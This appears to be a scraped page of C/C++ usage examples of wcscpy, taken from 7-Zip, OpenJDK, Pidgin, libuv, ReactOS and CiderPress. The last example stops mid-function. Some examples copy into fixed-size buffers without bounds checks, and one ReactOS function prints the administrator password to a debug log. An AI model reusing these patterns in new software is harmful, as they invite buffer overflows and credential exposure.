示例#1
15
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
#ifdef UNDER_CE
                     LPWSTR
#else
                     LPSTR
#endif
                     lpCmdLine, int nCmdShow)
#endif
{
    CFileInStream archiveStream;
    CLookToRead lookStream;
    CSzArEx db;
    SRes res = SZ_OK;
    ISzAlloc allocImp;
    ISzAlloc allocTempImp;
    WCHAR sfxPath[MAX_PATH + 2];
    WCHAR path[MAX_PATH * 3 + 2];
    size_t pathLen;
    DWORD winRes;
    const wchar_t *cmdLineParams;
    const char *errorMessage = NULL;
    Bool useShellExecute = True;

#ifdef _CONSOLE
    SetConsoleCtrlHandler(HandlerRoutine, TRUE);
#else
    hInstance = hInstance;
    hPrevInstance = hPrevInstance;
    lpCmdLine = lpCmdLine;
    nCmdShow = nCmdShow;
#endif

    CrcGenerateTable();

    allocImp.Alloc = SzAlloc;
    allocImp.Free = SzFree;

    allocTempImp.Alloc = SzAllocTemp;
    allocTempImp.Free = SzFreeTemp;

    FileInStream_CreateVTable(&archiveStream);
    LookToRead_CreateVTable(&lookStream, False);

    winRes = GetModuleFileNameW(NULL, sfxPath, MAX_PATH);
    if (winRes == 0 || winRes > MAX_PATH)
        return 1;
    {
        cmdLineParams = GetCommandLineW();
#ifndef UNDER_CE
        {
            Bool quoteMode = False;
            for (;; cmdLineParams++)
            {
                wchar_t c = *cmdLineParams;
                if (c == L'\"')
                    quoteMode = !quoteMode;
                else if (c == 0 || (c == L' ' && !quoteMode))
                    break;
            }
        }
#endif
    }

    {
        unsigned i;
        DWORD d;
        winRes = GetTempPathW(MAX_PATH, path);
        if (winRes == 0 || winRes > MAX_PATH)
            return 1;
        pathLen = wcslen(path);
        d = (GetTickCount() << 12) ^ (GetCurrentThreadId() << 14) ^ GetCurrentProcessId();
        for (i = 0;; i++, d += GetTickCount())
        {
            if (i >= 100)
            {
                res = SZ_ERROR_FAIL;
                break;
            }
            wcscpy(path + pathLen, L"7z");

            {
                wchar_t *s = path + wcslen(path);
                UInt32 value = d;
                unsigned k;
                for (k = 0; k < 8; k++)
                {
                    unsigned t = value & 0xF;
                    value >>= 4;
                    s[7 - k] = (char)((t < 10) ? ('0' + t) : ('A' + (t - 10)));
                }
                s[k] = '\0';
            }

            if (DoesFileOrDirExist(path))
                continue;
            if (CreateDirectoryW(path, NULL))
            {
                wcscat(path, L"\\");
                pathLen = wcslen(path);
                break;
            }
            if (GetLastError() != ERROR_ALREADY_EXISTS)
            {
                res = SZ_ERROR_FAIL;
                break;
            }
        }
        if (res != SZ_OK)
            errorMessage = "Can't create temp folder";
    }

    if (res != SZ_OK)
    {
        if (!errorMessage)
            errorMessage = "Error";
        PrintErrorMessage(errorMessage);
        return 1;
    }

    if (InFile_OpenW(&archiveStream.file, sfxPath) != 0)
    {
        errorMessage = "can not open input file";
        res = SZ_ERROR_FAIL;
    }
    else
    {
        UInt64 pos = 0;
        if (!FindSignature(&archiveStream.file, &pos))
            res = SZ_ERROR_FAIL;
        else if (File_Seek(&archiveStream.file, (Int64 *)&pos, SZ_SEEK_SET) != 0)
            res = SZ_ERROR_FAIL;
        if (res != 0)
            errorMessage = "Can't find 7z archive";
    }

    if (res == SZ_OK)
    {
        lookStream.realStream = &archiveStream.s;
        LookToRead_Init(&lookStream);
    }

    SzArEx_Init(&db);
    if (res == SZ_OK)
    {
        res = SzArEx_Open(&db, &lookStream.s, &allocImp, &allocTempImp);
    }
    if (res == SZ_OK)
    {
        UInt32 executeFileIndex = (UInt32)(Int32)-1;
        UInt32 minPrice = 1 << 30;
        UInt32 i;
        UInt32 blockIndex = 0xFFFFFFFF; /* it can have any value before first call (if outBuffer = 0) */
        Byte *outBuffer = 0; /* it must be 0 before first call for each new archive. */
        size_t outBufferSize = 0;  /* it can have any value before first call (if outBuffer = 0) */

        for (i = 0; i < db.db.NumFiles; i++)
        {
            size_t offset = 0;
            size_t outSizeProcessed = 0;
            const CSzFileItem *f = db.db.Files + i;
            size_t len;
            WCHAR *temp;
            len = SzArEx_GetFileNameUtf16(&db, i, NULL);

            if (len >= MAX_PATH)
            {
                res = SZ_ERROR_FAIL;
                break;
            }

            temp = path + pathLen;

            SzArEx_GetFileNameUtf16(&db, i, temp);
            {
                res = SzArEx_Extract(&db, &lookStream.s, i,
                                     &blockIndex, &outBuffer, &outBufferSize,
                                     &offset, &outSizeProcessed,
                                     &allocImp, &allocTempImp);
                if (res != SZ_OK)
                    break;
            }
            {
                CSzFile outFile;
                size_t processedSize;
                size_t j;
                size_t nameStartPos = 0;
                for (j = 0; temp[j] != 0; j++)
                {
                    if (temp[j] == '/')
                    {
                        temp[j] = 0;
                        MyCreateDir(path);
                        temp[j] = CHAR_PATH_SEPARATOR;
                        nameStartPos = j + 1;
                    }
                }

                if (f->IsDir)
                {
                    MyCreateDir(path);
                    continue;
                }
                else
                {
                    unsigned extLen;
                    const WCHAR *name = temp + nameStartPos;
                    unsigned len = (unsigned)wcslen(name);
                    unsigned nameLen = FindExt(temp + nameStartPos, &extLen);
                    unsigned extPrice = FindItem(kExts, sizeof(kExts) / sizeof(kExts[0]), name + len - extLen, extLen);
                    unsigned namePrice = FindItem(kNames, sizeof(kNames) / sizeof(kNames[0]), name, nameLen);

                    unsigned price = namePrice + extPrice * 64 + (nameStartPos == 0 ? 0 : (1 << 12));
                    if (minPrice > price)
                    {
                        minPrice = price;
                        executeFileIndex = i;
                        useShellExecute = (extPrice != k_EXE_ExtIndex);
                    }

                    if (DoesFileOrDirExist(path))
                    {
                        errorMessage = "Duplicate file";
                        res = SZ_ERROR_FAIL;
                        break;
                    }
                    if (OutFile_OpenW(&outFile, path))
                    {
                        errorMessage = "Can't open output file";
                        res = SZ_ERROR_FAIL;
                        break;
                    }
                }
                processedSize = outSizeProcessed;
                if (File_Write(&outFile, outBuffer + offset, &processedSize) != 0 || processedSize != outSizeProcessed)
                {
                    errorMessage = "Can't write output file";
                    res = SZ_ERROR_FAIL;
                }

#ifdef USE_WINDOWS_FILE
                if (f->MTimeDefined)
                {
                    FILETIME mTime;
                    mTime.dwLowDateTime = f->MTime.Low;
                    mTime.dwHighDateTime = f->MTime.High;
                    SetFileTime(outFile.handle, NULL, NULL, &mTime);
                }
#endif

                {
                    SRes res2 = File_Close(&outFile);
                    if (res != SZ_OK)
                        break;
                    if (res2 != SZ_OK)
                    {
                        res = res2;
                        break;
                    }
                }
#ifdef USE_WINDOWS_FILE
                if (f->AttribDefined)
                    SetFileAttributesW(path, f->Attrib);
#endif
            }
        }

        if (res == SZ_OK)
        {
            if (executeFileIndex == (UInt32)(Int32)-1)
            {
                errorMessage = "There is no file to execute";
                res = SZ_ERROR_FAIL;
            }
            else
            {
                WCHAR *temp = path + pathLen;
                UInt32 j;
                SzArEx_GetFileNameUtf16(&db, executeFileIndex, temp);
                for (j = 0; temp[j] != 0; j++)
                    if (temp[j] == '/')
                        temp[j] = CHAR_PATH_SEPARATOR;
            }
        }
        IAlloc_Free(&allocImp, outBuffer);
    }
    SzArEx_Free(&db, &allocImp);

    File_Close(&archiveStream.file);

    if (res == SZ_OK)
    {
        HANDLE hProcess = 0;
        if (useShellExecute)
        {
            SHELLEXECUTEINFO ei;
            UINT32 executeRes;
            BOOL success;

            memset(&ei, 0, sizeof(ei));
            ei.cbSize = sizeof(ei);
            ei.lpFile = path;
            ei.fMask = SEE_MASK_NOCLOSEPROCESS
#ifndef UNDER_CE
                       | SEE_MASK_FLAG_DDEWAIT
#endif
                       /* | SEE_MASK_NO_CONSOLE */
                       ;
            if (wcslen(cmdLineParams) != 0)
                ei.lpParameters = cmdLineParams;
            ei.nShow = SW_SHOWNORMAL; /* SW_HIDE; */
            success = ShellExecuteEx(&ei);
            executeRes = (UINT32)(UINT_PTR)ei.hInstApp;
            if (!success || (executeRes <= 32 && executeRes != 0))  /* executeRes = 0 in Windows CE */
                res = SZ_ERROR_FAIL;
            else
                hProcess = ei.hProcess;
        }
        else
        {
            STARTUPINFOW si;
            PROCESS_INFORMATION pi;
            WCHAR cmdLine[MAX_PATH * 3];

            wcscpy(cmdLine, path);
            wcscat(cmdLine, cmdLineParams);
            memset(&si, 0, sizeof(si));
            si.cb = sizeof(si);
            if (CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi) == 0)
                res = SZ_ERROR_FAIL;
            else
            {
                CloseHandle(pi.hThread);
                hProcess = pi.hProcess;
            }
        }
        if (hProcess != 0)
        {
            WaitForSingleObject(hProcess, INFINITE);
            CloseHandle(hProcess);
        }
    }

    path[pathLen] = L'\0';
    RemoveDirWithSubItems(path);

    if (res == SZ_OK)
        return 0;

    {
        if (res == SZ_ERROR_UNSUPPORTED)
            errorMessage = "Decoder doesn't support this archive";
        else if (res == SZ_ERROR_MEM)
            errorMessage = "Can't allocate required memory";
        else if (res == SZ_ERROR_CRC)
            errorMessage = "CRC error";
        else
        {
            if (!errorMessage)
                errorMessage = "ERROR";
        }
        if (errorMessage)
            PrintErrorMessage(errorMessage);
    }
    return 1;
}
int getAllInterfacesAndAddresses (JNIEnv *env, netif **netifPP)
{
    DWORD ret;
    IP_ADAPTER_ADDRESSES *ptr, *adapters=0;
    ULONG len=ipinflen, count=0;
    netif *nif=0, *dup_nif, *last=0, *loopif=0, *curr;
    int tun=0, net=0;

    *netifPP = 0;

   /*
    * Get the IPv4 interfaces. This information is the same
    * as what previous JDK versions would return.
    */

    ret = enumInterfaces(env, netifPP);
    if (ret == -1) {
        return -1;
    } else {
        count = ret;
    }

    /* locate the loopback (and the last) interface */
    for (nif=*netifPP, last=nif; nif!=0; nif=nif->next) {
        if (nif->ifType == MIB_IF_TYPE_LOOPBACK) {
            loopif = nif;
        }
        last = nif;
    }

    // Retrieve IPv4 addresses with the IP Helper API
    curr = *netifPP;
    while (curr != NULL) {
        netaddr *netaddrP;
        ret = enumAddresses_win(env, curr, &netaddrP);
        if (ret == -1) {
            return -1;
        }
        curr->addrs = netaddrP;
        curr->naddrs += ret;
        curr = curr->next;
    }

    ret = getAdapters (env, &adapters);
    if (ret != ERROR_SUCCESS) {
        goto err;
    }

    /* Now get the IPv6 information. This includes:
     *  (a)  IPv6 information associated with interfaces already found
     *  (b)  IPv6 information for IPv6 only interfaces (probably tunnels)
     *
     * For compatibility with previous releases we use the naming
     * information gotten from enumInterfaces() for (a) entries
     * However, the index numbers are taken from the new API.
     *
     * The procedure is to go through the list of adapters returned
     * by the new API looking for entries that correspond to IPv4 interfaces
     * already found.
     */

    ptr = adapters;
    while (ptr != NULL) {
        int c;
        netif *nif0;
        if (ptr->IfType == IF_TYPE_SOFTWARE_LOOPBACK && (loopif != NULL)) {
            c = getAddrsFromAdapter(ptr, &loopif->addrs);
            if (c == -1) {
                goto err;
            }
            loopif->naddrs += c;
        } else {
            int index = ptr->IfIndex;
            if (index != 0) {
                /* This entry is associated with an IPv4 interface */
                for (nif=*netifPP; nif!=0; nif=nif->next) {
                    if (nif->index == index) {
                        /* found the interface entry
                         * set the index to the IPv6 index and add the
                         * IPv6 addresses
                         */
                        nif->ipv6Index = ptr->Ipv6IfIndex;
                        c = getAddrsFromAdapter(ptr, &nif->addrs);
                        nif->naddrs += c;
                        break;
                    }
                }
            } else {
                /* This entry is IPv6 only */
                char newname [128];
                int c;

                /* Windows allocates duplicate adapter entries
                 * for tunnel interfaces when there are multiple
                 * physical adapters. Need to check
                 * if this is a duplicate (ipv6Index is the same)
                 */
                dup_nif = 0;
                for (nif0=*netifPP; nif0!=0; nif0=nif0->next) {
                    if (nif0->hasIpv6Address &&
                                ptr->Ipv6IfIndex == nif0->ipv6Index) {
                        dup_nif = nif0;
                        break;
                    }
                }
                if (dup_nif == 0) {
                    /* new interface */
                    nif = (netif *) calloc (1, sizeof(netif));
                    if (nif == 0) {
                        goto err;
                    }
                    if (ptr->IfType == IF_TYPE_TUNNEL) {
                        sprintf (newname, "tun%d", tun);
                        tun ++;
                    } else {
                        sprintf (newname, "net%d", net);
                        net ++;
                    }
                    nif->name = malloc (strlen(newname)+1);
                    nif->displayName = malloc (wcslen(ptr->FriendlyName)*2+2);
                    if (nif->name == 0 || nif->displayName == 0) {
                        goto err;
                    }
                    strcpy (nif->name, newname);
                    wcscpy ((PWCHAR)nif->displayName, ptr->FriendlyName);
                    nif->dNameIsUnicode = TRUE;

                    // the java.net.NetworkInterface abstraction only has index
                    // so the Ipv6IfIndex needs to map onto index
                    nif->index = ptr->Ipv6IfIndex;
                    nif->ipv6Index = ptr->Ipv6IfIndex;
                    nif->hasIpv6Address = TRUE;

                    last->next = nif;
                    last = nif;
                    count++;
                    c = getAddrsFromAdapter(ptr, &nif->addrs);
                    if (c == -1) {
                        goto err;
                    }
                    nif->naddrs += c;
                } else {
                    /* add the addresses from this adapter to the
                     * original (dup_nif)
                     */
                    c = getAddrsFromAdapter(ptr, &dup_nif->addrs);
                    if (c == -1) {
                        goto err;
                    }
                    dup_nif->naddrs += c;
                }
            }
        }
        ptr=ptr->Next;
    }

    free (adapters);
    return count;

err:
    if (*netifPP) {
        free_netif (*netifPP);
    }
    if (adapters) {
        free (adapters);
    }
    return -1;
}
示例#3
0
int _stdcall
WinMain (struct HINSTANCE__ *hInstance, struct HINSTANCE__ *hPrevInstance,
		char *lpszCmdLine, int nCmdShow) {
	wchar_t errbuf[512];
	wchar_t pidgin_dir[MAX_PATH];
	wchar_t *pidgin_dir_start = NULL;
	wchar_t exe_name[MAX_PATH];
	HMODULE hmod;
	wchar_t *wtmp;
	int pidgin_argc;
	char **pidgin_argv; /* This is in utf-8 */
	int i, j, k;
	BOOL debug = FALSE, help = FALSE, version = FALSE, multiple = FALSE, success;
	LPWSTR *szArglist;
	LPWSTR cmdLine;

	/* If debug or help or version flag used, create console for output */
	for (i = 1; i < __argc; i++) {
		if (strlen(__argv[i]) > 1 && __argv[i][0] == '-') {
			/* check if we're looking at -- or - option */
			if (__argv[i][1] == '-') {
				if (strstr(__argv[i], "--debug") == __argv[i])
					debug = TRUE;
				else if (strstr(__argv[i], "--help") == __argv[i])
					help = TRUE;
				else if (strstr(__argv[i], "--version") == __argv[i])
					version = TRUE;
				else if (strstr(__argv[i], "--multiple") == __argv[i])
					multiple = TRUE;
			} else {
				if (strchr(__argv[i], 'd'))
					debug = TRUE;
				if (strchr(__argv[i], 'h'))
					help = TRUE;
				if (strchr(__argv[i], 'v'))
					version = TRUE;
				if (strchr(__argv[i], 'm'))
					multiple = TRUE;
			}
		}
	}

	if (debug || help || version) {
		/* If stdout hasn't been redirected to a file, alloc a console
		 *  (_istty() doesn't work for stuff using the GUI subsystem) */
		if (_fileno(stdout) == -1 || _fileno(stdout) == -2) {
			LPFNATTACHCONSOLE MyAttachConsole = NULL;
			if ((hmod = GetModuleHandleW(L"kernel32.dll"))) {
				MyAttachConsole =
					(LPFNATTACHCONSOLE)
					GetProcAddress(hmod, "AttachConsole");
			}
			if ((MyAttachConsole && MyAttachConsole(ATTACH_PARENT_PROCESS))
					|| AllocConsole()) {
				freopen("CONOUT$", "w", stdout);
				freopen("CONOUT$", "w", stderr);
			}
		}
	}

	cmdLine = GetCommandLineW();

	/* If this is a protocol handler invocation, deal with it accordingly */
	if ((wtmp = wcsstr(cmdLine, PROTO_HANDLER_SWITCH)) != NULL) {
		handle_protocol(wtmp);
		return 0;
	}

	/* Load exception handler if we have it */
	if (GetModuleFileNameW(NULL, pidgin_dir, MAX_PATH) != 0) {

		/* primitive dirname() */
		pidgin_dir_start = wcsrchr(pidgin_dir, L'\\');

		if (pidgin_dir_start) {
			HMODULE hmod;
			pidgin_dir_start[0] = L'\0';

			/* tmp++ will now point to the executable file name */
			wcscpy(exe_name, pidgin_dir_start + 1);

			wcscat(pidgin_dir, L"\\exchndl.dll");
			if ((hmod = LoadLibraryW(pidgin_dir))) {
				FARPROC proc;
				/* exchndl.dll is built without UNICODE */
				char debug_dir[MAX_PATH];
				printf("Loaded exchndl.dll\n");
				/* Temporarily override exchndl.dll's logfile
				 * to something sane (Pidgin will override it
				 * again when it initializes) */
				proc = GetProcAddress(hmod, "SetLogFile");
				if (proc) {
					if (GetTempPathA(sizeof(debug_dir) * sizeof(char), debug_dir) != 0) {
						strcat(debug_dir, "pidgin.RPT");
						printf(" Setting exchndl.dll LogFile to %s\n",
							debug_dir);
						(proc)(debug_dir);
					}
				}
				proc = GetProcAddress(hmod, "SetDebugInfoDir");
				if (proc) {
					char *pidgin_dir_ansi = NULL;
					/* Restore pidgin_dir to point to where the executable is */
					pidgin_dir_start[0] = L'\0';
					i = WideCharToMultiByte(CP_ACP, 0, pidgin_dir,
						-1, NULL, 0, NULL, NULL);
					if (i != 0) {
						pidgin_dir_ansi = malloc(i * sizeof(char));
						i = WideCharToMultiByte(CP_ACP, 0, pidgin_dir,
							-1, pidgin_dir_ansi, i, NULL, NULL);
						if (i == 0) {
							free(pidgin_dir_ansi);
							pidgin_dir_ansi = NULL;
						}
					}
					if (pidgin_dir_ansi != NULL) {
						_snprintf(debug_dir, sizeof(debug_dir) / sizeof(char),
							"%s\\pidgin-%s-dbgsym",
							pidgin_dir_ansi,  VERSION);
						debug_dir[sizeof(debug_dir) / sizeof(char) - 1] = '\0';
						printf(" Setting exchndl.dll DebugInfoDir to %s\n",
							debug_dir);
						(proc)(debug_dir);
						free(pidgin_dir_ansi);
					}
				}

			}

			/* Restore pidgin_dir to point to where the executable is */
			pidgin_dir_start[0] = L'\0';
		}
	} else {
		DWORD dw = GetLastError();
		const wchar_t *err_msg = get_win32_error_message(dw);
		_snwprintf(errbuf, 512,
			L"Error getting module filename.\nError: (%u) %s",
			(UINT) dw, err_msg);
		wprintf(L"%s\n", errbuf);
		MessageBoxW(NULL, errbuf, NULL, MB_OK | MB_TOPMOST);
		pidgin_dir[0] = L'\0';
	}

	/* Determine if we're running in portable mode */
	if (wcsstr(cmdLine, L"--portable-mode")
			|| (exe_name != NULL && wcsstr(exe_name, L"-portable.exe"))) {
		printf("Running in PORTABLE mode.\n");
		portable_mode = TRUE;
	}

	if (portable_mode)
		portable_mode_dll_prep(pidgin_dir);
	else if (!getenv("PIDGIN_NO_DLL_CHECK"))
		dll_prep(pidgin_dir);

	winpidgin_set_locale();

	winpidgin_add_stuff_to_path();

	/* If help, version or multiple flag used, do not check Mutex */
	if (!help && !version)
		if (!winpidgin_set_running(getenv("PIDGIN_MULTI_INST") == NULL && !multiple))
			return 0;

	/* Now we are ready for Pidgin .. */
	wcscat(pidgin_dir, L"\\pidgin.dll");
	if ((hmod = LoadLibraryW(pidgin_dir)))
		pidgin_main = (LPFNPIDGINMAIN) GetProcAddress(hmod, "pidgin_main");

	/* Restore pidgin_dir to point to where the executable is */
	if (pidgin_dir_start)
		pidgin_dir_start[0] = L'\0';

	if (!pidgin_main) {
		DWORD dw = GetLastError();
		BOOL mod_not_found = (dw == ERROR_MOD_NOT_FOUND || dw == ERROR_DLL_NOT_FOUND);
		const wchar_t *err_msg = get_win32_error_message(dw);

		_snwprintf(errbuf, 512, L"Error loading pidgin.dll.\nError: (%u) %s%s%s",
			(UINT) dw, err_msg,
			mod_not_found ? L"\n" : L"",
			mod_not_found ? L"This probably means that GTK+ can't be found." : L"");
		wprintf(L"%s\n", errbuf);
		MessageBoxW(NULL, errbuf, L"Error", MB_OK | MB_TOPMOST);

		return 0;
	}

	/* Convert argv to utf-8*/
	szArglist = CommandLineToArgvW(cmdLine, &j);
	pidgin_argc = j;
	pidgin_argv = malloc(pidgin_argc* sizeof(char*));
	k = 0;
	for (i = 0; i < j; i++) {
		success = FALSE;
		/* Remove the --portable-mode arg from the args passed to pidgin so it doesn't choke */
		if (wcsstr(szArglist[i], L"--portable-mode") == NULL) {
			int len = WideCharToMultiByte(CP_UTF8, 0, szArglist[i],
				-1, NULL, 0, NULL, NULL);
			if (len != 0) {
				char *arg = malloc(len * sizeof(char));
				len = WideCharToMultiByte(CP_UTF8, 0, szArglist[i],
					-1, arg, len, NULL, NULL);
				if (len != 0) {
					pidgin_argv[k++] = arg;
					success = TRUE;
				}
			}
			if (!success)
				wprintf(L"Error converting argument '%s' to UTF-8\n",
					szArglist[i]);
		}
		if (!success)
			pidgin_argc--;
	}
	LocalFree(szArglist);


	return pidgin_main(hInstance, pidgin_argc, pidgin_argv);
}
示例#4
0
文件: process.c 项目: Begonia5/node
int make_program_args(char** args, int verbatim_arguments, WCHAR** dst_ptr) {
    char** arg;
    WCHAR* dst = NULL;
    WCHAR* temp_buffer = NULL;
    size_t dst_len = 0;
    size_t temp_buffer_len = 0;
    WCHAR* pos;
    int arg_count = 0;
    int err = 0;

    /* Count the required size. */
    for (arg = args; *arg; arg++) {
        DWORD arg_len;

        arg_len = MultiByteToWideChar(CP_UTF8,
                                      0,
                                      *arg,
                                      -1,
                                      NULL,
                                      0);
        if (arg_len == 0) {
            return GetLastError();
        }

        dst_len += arg_len;

        if (arg_len > temp_buffer_len)
            temp_buffer_len = arg_len;

        arg_count++;
    }

    /* Adjust for potential quotes. Also assume the worst-case scenario */
    /* that every character needs escaping, so we need twice as much space. */
    dst_len = dst_len * 2 + arg_count * 2;

    /* Allocate buffer for the final command line. */
    dst = (WCHAR*) malloc(dst_len * sizeof(WCHAR));
    if (dst == NULL) {
        err = ERROR_OUTOFMEMORY;
        goto error;
    }

    /* Allocate temporary working buffer. */
    temp_buffer = (WCHAR*) malloc(temp_buffer_len * sizeof(WCHAR));
    if (temp_buffer == NULL) {
        err = ERROR_OUTOFMEMORY;
        goto error;
    }

    pos = dst;
    for (arg = args; *arg; arg++) {
        DWORD arg_len;

        /* Convert argument to wide char. */
        arg_len = MultiByteToWideChar(CP_UTF8,
                                      0,
                                      *arg,
                                      -1,
                                      temp_buffer,
                                      (int) (dst + dst_len - pos));
        if (arg_len == 0) {
            err = GetLastError();
            goto error;
        }

        if (verbatim_arguments) {
            /* Copy verbatim. */
            wcscpy(pos, temp_buffer);
            pos += arg_len - 1;
        } else {
            /* Quote/escape, if needed. */
            pos = quote_cmd_arg(temp_buffer, pos);
        }

        *pos++ = *(arg + 1) ? L' ' : L'\0';
    }

    free(temp_buffer);

    *dst_ptr = dst;
    return 0;

error:
    free(dst);
    free(temp_buffer);
    return err;
}
示例#5
0
NTSTATUS
SetAdministratorPassword(LPCWSTR Password)
{
    PPOLICY_ACCOUNT_DOMAIN_INFO OrigInfo = NULL;
    PUSER_ACCOUNT_NAME_INFORMATION AccountNameInfo = NULL;
    USER_SET_PASSWORD_INFORMATION PasswordInfo;
    LSA_OBJECT_ATTRIBUTES ObjectAttributes;
    LSA_HANDLE PolicyHandle = NULL;
    SAM_HANDLE ServerHandle = NULL;
    SAM_HANDLE DomainHandle = NULL;
    SAM_HANDLE UserHandle = NULL;
    NTSTATUS Status;

    DPRINT("SYSSETUP: SetAdministratorPassword(%p)\n", Password);

    memset(&ObjectAttributes, 0, sizeof(LSA_OBJECT_ATTRIBUTES));
    ObjectAttributes.Length = sizeof(LSA_OBJECT_ATTRIBUTES);

    Status = LsaOpenPolicy(NULL,
                           &ObjectAttributes,
                           POLICY_VIEW_LOCAL_INFORMATION | POLICY_TRUST_ADMIN,
                           &PolicyHandle);
    if (Status != STATUS_SUCCESS)
    {
        DPRINT1("LsaOpenPolicy() failed (Status: 0x%08lx)\n", Status);
        return Status;
    }

    Status = LsaQueryInformationPolicy(PolicyHandle,
                                       PolicyAccountDomainInformation,
                                       (PVOID *)&OrigInfo);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("LsaQueryInformationPolicy() failed (Status: 0x%08lx)\n", Status);
        goto done;
    }

    Status = SamConnect(NULL,
                        &ServerHandle,
                        SAM_SERVER_CONNECT | SAM_SERVER_LOOKUP_DOMAIN,
                        NULL);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("SamConnect() failed (Status: 0x%08lx)\n", Status);
        goto done;
    }

    Status = SamOpenDomain(ServerHandle,
                           DOMAIN_LOOKUP,
                           OrigInfo->DomainSid,
                           &DomainHandle);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("SamOpenDomain() failed (Status: 0x%08lx)\n", Status);
        goto done;
    }

    Status = SamOpenUser(DomainHandle,
                         USER_FORCE_PASSWORD_CHANGE | USER_READ_GENERAL,
                         DOMAIN_USER_RID_ADMIN,
                         &UserHandle);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("SamOpenUser() failed (Status %08lx)\n", Status);
        goto done;
    }

    RtlInitUnicodeString(&PasswordInfo.Password, Password);
    PasswordInfo.PasswordExpired = FALSE;

    Status = SamSetInformationUser(UserHandle,
                                   UserSetPasswordInformation,
                                   (PVOID)&PasswordInfo);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("SamSetInformationUser() failed (Status %08lx)\n", Status);
        goto done;
    }

    Status = SamQueryInformationUser(UserHandle,
                                     UserAccountNameInformation,
                                     (PVOID*)&AccountNameInfo);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("SamSetInformationUser() failed (Status %08lx)\n", Status);
        goto done;
    }

    AdminInfo.Name = RtlAllocateHeap(RtlGetProcessHeap(),
                                     HEAP_ZERO_MEMORY,
                                     AccountNameInfo->UserName.Length + sizeof(WCHAR));
    if (AdminInfo.Name != NULL)
        RtlCopyMemory(AdminInfo.Name,
                      AccountNameInfo->UserName.Buffer,
                      AccountNameInfo->UserName.Length);

    AdminInfo.Domain = RtlAllocateHeap(RtlGetProcessHeap(),
                                       HEAP_ZERO_MEMORY,
                                       OrigInfo->DomainName.Length + sizeof(WCHAR));
    if (AdminInfo.Domain != NULL)
        RtlCopyMemory(AdminInfo.Domain,
                      OrigInfo->DomainName.Buffer,
                      OrigInfo->DomainName.Length);

    AdminInfo.Password = RtlAllocateHeap(RtlGetProcessHeap(),
                                         0,
                                         (wcslen(Password) + 1) * sizeof(WCHAR));
    if (AdminInfo.Password != NULL)
        wcscpy(AdminInfo.Password, Password);

    DPRINT("Administrator Name: %S\n", AdminInfo.Name);
    DPRINT("Administrator Domain: %S\n", AdminInfo.Domain);
    DPRINT("Administrator Password: %S\n", AdminInfo.Password);

done:
    if (AccountNameInfo != NULL)
        SamFreeMemory(AccountNameInfo);

    if (OrigInfo != NULL)
        LsaFreeMemory(OrigInfo);

    if (PolicyHandle != NULL)
        LsaClose(PolicyHandle);

    if (UserHandle != NULL)
        SamCloseHandle(UserHandle);

    if (DomainHandle != NULL)
        SamCloseHandle(DomainHandle);

    if (ServerHandle != NULL)
        SamCloseHandle(ServerHandle);

    DPRINT1("SYSSETUP: SetAdministratorPassword() done (Status %08lx)\n", Status);

    return Status;
}
示例#6
0
void MainWindow::OnEditCopy(void)
{
    CString errStr, fileList;
    SelectionSet selSet;
    UINT myFormat;
    bool isOpen = false;
    HGLOBAL hGlobal;
    LPVOID pGlobal;
    uint8_t* buf = NULL;
    long bufLen = -1;

    /* associate a number with the format name */
    myFormat = RegisterClipboardFormat(kClipboardFmtName);
    if (myFormat == 0) {
        CheckedLoadString(&errStr, IDS_CLIPBOARD_REGFAILED);
        ShowFailureMsg(this, errStr, IDS_FAILED);
        goto bail;
    }
    LOGI("myFormat = %u", myFormat);

    /* open & empty the clipboard, even if we fail later */
    if (OpenClipboard() == false) {
        CheckedLoadString(&errStr, IDS_CLIPBOARD_OPENFAILED);
        ShowFailureMsg(this, errStr, IDS_FAILED);
        goto bail;
    }
    isOpen = true;
    EmptyClipboard();

    /*
     * Create a selection set with the entries.
     *
     * Strictly speaking we don't need the directories, since we recreate
     * them as needed.  However, storing them explicitly will allow us
     * to preserve empty subdirs.
     */
    selSet.CreateFromSelection(fpContentList,
        GenericEntry::kAnyThread | GenericEntry::kAllowDirectory);
    if (selSet.GetNumEntries() == 0) {
        CheckedLoadString(&errStr, IDS_CLIPBOARD_NOITEMS);
        MessageBox(errStr, L"No match", MB_OK | MB_ICONEXCLAMATION);
        goto bail;
    }

    /*
     * Make a big string with a file listing.
     */
    fileList = CreateFileList(&selSet);

    /*
     * Add the string to the clipboard.  The clipboard will own the memory we
     * allocate.
     */
    size_t neededLen = (fileList.GetLength() + 1) * sizeof(WCHAR);
    hGlobal = ::GlobalAlloc(GHND | GMEM_SHARE, neededLen);
    if (hGlobal == NULL) {
        LOGI("Failed allocating %d bytes", neededLen);
        CheckedLoadString(&errStr, IDS_CLIPBOARD_ALLOCFAILED);
        ShowFailureMsg(this, errStr, IDS_FAILED);
        goto bail;
    }
    LOGI("  Allocated %ld bytes for file list on clipboard", neededLen);
    pGlobal = ::GlobalLock(hGlobal);
    ASSERT(pGlobal != NULL);
    wcscpy((WCHAR*) pGlobal, fileList);
    ::GlobalUnlock(hGlobal);

    SetClipboardData(CF_UNICODETEXT, hGlobal);

    /*
     * Create a (potentially very large) buffer with the contents of the
     * files in it.  This may fail for any number of reasons.
     */
    hGlobal = CreateFileCollection(&selSet);
    if (hGlobal != NULL) {
        SetClipboardData(myFormat, hGlobal);
        // beep annoys me on copy
        //SuccessBeep();
    }

bail:
    CloseClipboard();
}
示例#7
0
文件: display.c 项目: reactos/reactos
NTSTATUS
DsppLoadFontFile (
    _In_ PWCHAR FontFileName
    )
{
    PBL_DEVICE_DESCRIPTOR FontDevice;
    NTSTATUS Status;
    ULONG NameLength, DirectoryLength, TotalLength;
    PWCHAR FontPath, FontDirectory;
    BL_LIBRARY_PARAMETERS LibraryParameters;
    BOOLEAN CustomDirectory, CustomDevice;

    /* Initialize locals */
    CustomDirectory = TRUE;
    CustomDevice = TRUE;
    FontDevice = NULL;
    FontPath = NULL;
    FontDirectory = NULL;

    /* Check if a custom font path should be used */
    Status = BlGetBootOptionString(BlpApplicationEntry.BcdData,
                                   BcdLibraryString_FontPath,
                                   &FontDirectory);
    if (!NT_SUCCESS(Status))
    {
        /* Nope, use the one configured by the library */
        CustomDirectory = FALSE;
